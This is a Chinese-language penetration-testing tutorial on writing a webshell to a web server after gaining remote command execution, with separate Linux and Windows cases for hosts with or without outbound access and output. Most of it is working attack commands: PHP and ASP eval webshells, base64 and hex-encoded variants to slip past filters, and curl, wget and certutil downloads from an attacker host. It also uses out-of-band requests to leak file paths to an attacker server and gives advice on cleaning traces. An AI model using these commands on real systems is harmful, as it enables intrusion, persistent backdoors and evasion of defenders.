0x01 前言
利用各类RCE远程命令执行或MSSQL注入等漏洞获取到一个能够执行命令的权限后该如何写入Webshell?这里我们根据可能会遇到的多个场景进行了一些测试,如:Linux/Windows,出/不出网、有/无回显。
一般我们在确定能够执行命令时都会选择直接上线CS/MSF,但也会遇到那种不出网、无回显的场景,这时可能就需要找到目标网站的绝对路径先写入一个Webshell,然后再进行后续的信息搜集及内网渗透等。
注:我们可以通过在网站前/后台的上传功能随便传一个文件,然后再利用Windows的for或Linux的while等命令来查找刚上传的文件,或网站下已存在的文件得到绝对路径,最后再写入文件即可,继续往下看。
0x02 Linux
(1) 目标出网,命令有回显
如果目标主机可以出网,并且执行命令有回显,这时我们就可以直接通过执行以下命令来获取目标网站的绝对路径,然后再利用以下多种方式写入或下载Webshell。
查找绝对路径:
locate 1653042293000.png 2>/dev/null
find / -name 1653042293000.png 2>/dev/null
find / | grep 1653042293000.png 2>/dev/null
find /var/www/html/ -name "*.php" | xargs grep "某某网站"
常规方式写入:
echo '<?php eval($_POST[1]);?>' > /var/www/html/shell.php
远程下载写入:
curl http://192.168.1.120/shell.txt > /var/www/html/shell.php
wget http://192.168.1.120/shell.txt -O /var/www/html/shell.php
(2) 目标出网,命令无回显
如果目标主机可以出网,但执行命令无回显,这时我们可以通过执行以下命令使用httplog方式来获取目标网站的绝对路径,然后再利用以下方式写入Webshell,需转义或有防护时可尝试编码方式写入。
查找绝对路径:
python -m SimpleHTTPServer 8888
curl http://192.168.1.120:8888/`find / | grep 1653042293000.png`
wget http://192.168.1.120:8888/`find / | grep 1653042293000.png`
编码方式写入:
echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ | base64 -d > /var/www/html/shell.php
echo 3C3F706870206576616C28245F504F53545B315D293B3F3E | xxd -r -ps > /var/www/html/shell.php
(3) 目标不出网,命令无回显
如果目标主机不能出网,并且执行命令无回显,这时我们可以通过执行以下命令先遍历出1653042293000.png文件的绝对路径,然后再次遍历该文件绝对路径,或者将Webshell写入到该文件同级目录下。
实战应用中最好是先确定目标网站的绝对路径,然后单独写入Webshell,最好不要直接使用第二条命令,因为如果目标主机上有同名文件时则会往找到的多个绝对路径下写入文件,到时还要注意清理痕迹。
查找绝对路径写入至web目录:
find / -name 1653042293000.png | while read f;do sh -c 'find / -name 1653042293000.png' >$(dirname $f)/path.txt;done
查找绝对路径写入Webshell:
find / -name 1653042293000.png | while read f;do sh -c "echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ | base64 -d">$(dirname $f)/shell.php;done
find / -name 1653042293000.png | while read f;do sh -c "echo 3C3F706870206576616C28245F504F53545B315D293B3F3E | xxd -r -ps">$(dirname $f)/shell.php;done
0x03 Windows
(1) 目标出网,命令有回显
如果目标主机可以出网,并且执行命令有回显,这时我们可以通过执行dir、where、for、finstr等命令,或读取IIS配置文件等方式来获取目标网站的绝对路径,然后再利用以下多种方式写入或下载Webshell。
查找绝对路径:
dir /a/b/s C:\1653042293000.png
where /r C:\1653042293000.png
for /r "C:\" %i in (1653042293000.png*) do @echo %i
findstr /n /s /i "某某网站" C:\*.asp
%windir%\system32\inetsrv\appcmd list VDIR
常规方式写入:
set /p="<%execute request("1")%>" <nul >> C:\inetpub\wwwroot\shell.asp
echo ^<%execute request("1")%^> > C:\inetpub\wwwroot\shell.asp
certutil -urlcache -split -f http://192.168.1.105:8080/shell.txt C:\inetpub\wwwroot\shell.asp
(2) 目标出网,命令无回显
如果目标主机可以出网,但执行命令无回显,这时我们可以通过执行以下命令在指定的C盘中循环查找1653042293000.png文件,将找到的文件绝对路径保存在%i变量,然后执行certutil通过httplog方式来获取目标网站的绝对路径,或者直接写入Webshell,需转义或有防护时可尝试编码方式写入,需清理shell.txt。
查找绝对路径:
python -m SimpleHTTPServer 8888
for /r C:\ %i in (1653042293000.png*) do certutil -urlcache -split -f http://192.168.1.120:8888/%i
常规方式写入:
for /r C:\ %i in (1653042293000.png*) do echo ^<%execute request("1")%^> > %i/../shell.asp
编码方式写入:
for /r C:\ %i in (1653042293000.png*) do echo PCVleGVjdXRlIHJlcXVlc3QoIjEiKSU+ > %i/../shell.txt & certutil -decode %i/../shell.txt %i/../shell.asp
for /r C:\ %i in (1653042293000.png*) do echo 3C256578656375746520726571756573742822312229253E > %i/../shell.txt & certutil -decodehex %i/../shell.txt %i/../shell.asp
(3) 目标不出网,命令无回显
如果目标主机不能出网,并且执行命令无回显,这时我们可以通过执行以下命令将找到的1653042293000.png文件绝对路径,或者将Webshell写入到该文件同级目录下,需转义或有防护时可尝试编码方式写入。
两条命令虽然看起来差不多,但第一条执行效率要高一些,因为在命令执行过程中就已经写入了,第二条得在命令执行完成后才会写入,所以个人推荐使用第一种,注意清理同名文件路径下的痕迹。
查找绝对路径写入至web目录:
for /r C:\ %i in (1653042293000.png*) do echo %i> %i\..\path.txt
for /f %i in ('dir /s /b C:\1653042293000.png') do echo %i> %i\..\path.txt
forfiles /P C:\ /S /M 1653042293000.png /C "cmd /c dir /a/b/s C:\1653042293000.png > path.txt"
查找绝对路径写入Webshell:
for /r C:\ %i in (1653042293000.png*) do echo ^<%execute request("1")%^> > %i/../shell.asp
for /f %i in ('dir /s /b C:\1653042293000.png') do echo ^<%execute request("1")%^> > %i/../shell.asp
forfiles /P C:\ /S /M 1653042293000.png /C "cmd /c echo ^<%execute request("1")%^> > shell.asp"
文末总结:
这篇文章我将找绝对路径方式分为3种:命令查找(有回显)、httplog外带(无回显)、写进Web目录(不出网),写文件方式也分为3种:常规写入、编码写入、远程下载。Linux、Windows利用方式都一样,只是命令不一样,都是根据文件名、文件内容找绝对路径,常见文件写入、下载方式进行Getshell。